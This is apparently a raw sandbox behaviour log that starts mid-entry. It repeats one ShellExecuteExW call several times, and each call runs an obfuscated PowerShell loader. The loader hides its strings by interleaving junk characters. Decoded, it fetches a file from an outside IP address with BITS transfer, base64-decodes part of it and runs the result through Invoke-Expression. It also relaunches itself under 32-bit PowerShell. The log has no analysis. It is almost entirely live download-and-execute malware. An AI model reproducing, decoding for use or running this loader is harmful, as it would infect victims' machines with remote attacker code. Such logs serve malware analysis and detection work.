');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
